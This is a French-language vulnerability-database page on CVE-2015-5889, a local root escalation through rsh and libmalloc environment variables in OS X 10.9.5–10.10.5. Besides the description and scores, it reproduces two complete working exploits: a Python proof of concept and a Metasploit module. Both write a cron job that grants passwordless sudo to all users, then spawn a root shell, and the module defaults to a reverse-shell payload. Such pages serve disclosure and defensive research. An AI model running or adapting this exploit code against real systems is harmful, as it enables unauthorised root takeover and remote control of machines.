CVE-2015-5889 : Détail

CVE-2015-5889

A01-Broken Access Control
0.05%V3
Local
2015-10-08
23h00 +00:00
2016-12-22
17h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

rsh in the remote_cmds component in Apple OS X before 10.11 allows local users to obtain root privileges via vectors involving environment variables.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 38371

Date de publication : 2015-09-30 22h00 +00:00
Auteur : rebel
EDB Vérifié : Yes

# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root # tested on osx 10.9.5 / 10.10.5 # jul/2015 # by rebel import os,time,sys env = {} s = os.stat("/etc/sudoers").st_size env['MallocLogFile'] = '/etc/crontab' env['MallocStackLogging'] = 'yes' env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n' sys.stderr.write("creating /etc/crontab..") p = os.fork() if p == 0: os.close(1) os.close(2) os.execve("/usr/bin/rsh",["rsh","localhost"],env) time.sleep(1) if "NOPASSWD" not in open("/etc/crontab").read(): sys.stderr.write("failed\n") sys.exit(-1) sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..") while os.stat("/etc/sudoers").st_size == s: sys.stderr.write(".") time.sleep(1) sys.stderr.write("\ndone\n") os.system("sudo su")
Exploit Database EDB-ID : 38540

Date de publication : 2015-10-26 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation', 'Description' => %q{ This module writes to the sudoers file without root access by exploiting rsh and malloc log files. Makes sudo require no password, giving access to su even if root is disabled. Works on OS X 10.9.5 to 10.10.5 (patched on 10.11). }, 'Author' => [ 'rebel', # Vulnerability discovery and PoC 'shandelman116' # Copy/paste AND translator monkey ], 'References' => [ ['EDB', '38371'], ['CVE', '2015-5889'] ], 'DisclosureDate' => 'Oct 1 2015', 'License' => MSF_LICENSE, # Want to ensure that this can be used on Python Meterpreter sessions as well 'Platform' => ['osx', 'python'], 'Arch' => [ARCH_X86_64, ARCH_PYTHON], 'SessionTypes' => ['shell', 'meterpreter'], 'Privileged' => true, 'Targets' => [ ['Mac OS X 10.9.5-10.10.5', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' } )) register_options( [ OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]), OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) ], self.class ) end def exploit # Check OS os_check # Check if crontab file existed already so it can be restored at cleanup if file_exist? "/etc/crontab" @crontab_original = read_file("/etc/crontab") else @crontab_original = nil end # Writing payload if payload.arch.include? ARCH_X86_64 vprint_status("Writing payload to #{payload_file}.") write_file(payload_file, payload_source) vprint_status("Finished writing payload file.") register_file_for_cleanup(payload_file) elsif payload.arch.include? ARCH_PYTHON vprint_status("No need to write payload. Will simply execute after exploit") vprint_status("Payload encodeded is #{payload.encoded}") end # Run exploit sploit # Execute payload print_status('Executing payload...') if payload.arch.include? ARCH_X86_64 cmd_exec("chmod +x #{payload_file}; #{payload_file} & disown") elsif payload.arch.include? ARCH_PYTHON cmd_exec("python -c \"#{payload.encoded}\" & disown") end vprint_status("Finished executing payload.") end def os_check # Get sysinfo sysinfo = get_sysinfo # Make sure its OS X (Darwin) unless sysinfo["Kernel"].include? "Darwin" print_warning("The target system does not appear to be running OS X!") print_warning("Kernel information: #{sysinfo['Kernel']}") return end # Make sure its not greater than 10.5 or less than 9.5 version = sysinfo["ProductVersion"] minor_version = version[3...version.length].to_f unless minor_version >= 9.5 && minor_version <= 10.5 print_warning("The target version of OS X does not appear to be compatible with the exploit!") print_warning("Target is running OS X #{sysinfo['ProductVersion']}") end end def sploit user = cmd_exec("whoami").chomp vprint_status("The current effective user is #{user}. Starting the sploit") # Get size of sudoers file sudoer_path = "/etc/sudoers" size = get_stat_size(sudoer_path) # Set up the environment and command for spawning rsh and writing to crontab file rb_script = "e={\"MallocLogFile\"=>\"/etc/crontab\",\"MallocStackLogging\"=>\"yes\",\"MallocStackLoggingDirectory\"=>\"a\n* * * * * root echo \\\"ALL ALL=(ALL) NOPASSWD: ALL\\\" >> /etc/sudoers\n\n\n\n\n\"}; Process.spawn(e,[\"/usr/bin/rsh\",\"rsh\"],\"localhost\",[:out, :err]=>\"/dev/null\")" rb_cmd = "ruby -e '#{rb_script}'" # Attempt to execute print_status("Attempting to write /etc/crontab...") cmd_exec(rb_cmd) vprint_status("Now to check whether the script worked...") # Check whether it worked crontab = cmd_exec("cat /etc/crontab") vprint_status("Reading crontab yielded the following response: #{crontab}") unless crontab.include? "ALL ALL=(ALL) NOPASSWD: ALL" vprint_error("Bad news... it did not write to the file.") fail_with(Failure::NotVulnerable, "Could not successfully write to crontab file.") end print_good("Succesfully wrote to crontab file!") # Wait for sudoers to change new_size = get_stat_size(sudoer_path) print_status("Waiting for sudoers file to change...") # Start timeout block begin Timeout.timeout(datastore['WaitTime']) { while new_size <= size Rex.sleep(1) new_size = get_stat_size(sudoer_path) end } rescue Timeout::Error fail_with(Failure::TimeoutExpired, "Sudoers file size has still not changed after waiting the maximum amount of time. Try increasing WaitTime.") end print_good("Sudoers file has changed!") # Confirming root access print_status("Attempting to start root shell...") cmd_exec("sudo -s su") user = cmd_exec("whoami") unless user.include? "root" fail_with(Failure::UnexpectedReply, "Unable to acquire root access. Whoami returned: #{user}") end print_good("Success! Acquired root access!") end def get_stat_size(file_path) cmd = "env -i [$(stat -s #{file_path})] bash -c 'echo $st_size'" response = cmd_exec(cmd) vprint_status("Response to stat size query is #{response}") begin size = Integer(response) return size rescue ArgumentError fail_with(Failure::UnexpectedReply, "Could not get stat size!") end end def payload_source if payload.arch.include? ARCH_X86_64 return Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) elsif payload.arch.include? ARCH_PYTHON return payload.encoded end end def payload_file @payload_file ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" end def cleanup vprint_status("Starting the cron restore process...") super # Restore crontab back to is original state # If we don't do this, then cron will continue to append the no password rule to sudoers. if @crontab_original.nil? # Erase crontab file and kill cron process since it did not exist before vprint_status("Killing cron process and removing crontab file since it did not exist prior to exploit.") rm_ret = cmd_exec("rm /etc/crontab 2>/dev/null; echo $?") if rm_ret.chomp.to_i == 0 vprint_good("Successfully removed crontab file!") else print_warning("Could not remove crontab file.") end Rex.sleep(1) kill_ret = cmd_exec("killall cron 2>/dev/null; echo $?") if kill_ret.chomp.to_i == 0 vprint_good("Succesfully killed cron!") else print_warning("Could not kill cron process.") end else # Write back the original content of crontab vprint_status("Restoring crontab file back to original contents. No need for it anymore.") cmd_exec("echo '#{@crontab_original}' > /etc/crontab") end vprint_status("Finished the cleanup process.") end end

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.10.5

Références

http://www.securitytracker.com/id/1033703
Tags : vdb-entry, x_refsource_SECTRACK
http://seclists.org/fulldisclosure/2015/Oct/5
Tags : mailing-list, x_refsource_FULLDISC
https://support.apple.com/HT205267
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/38540/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/76908
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/38371/
Tags : exploit, x_refsource_EXPLOIT-DB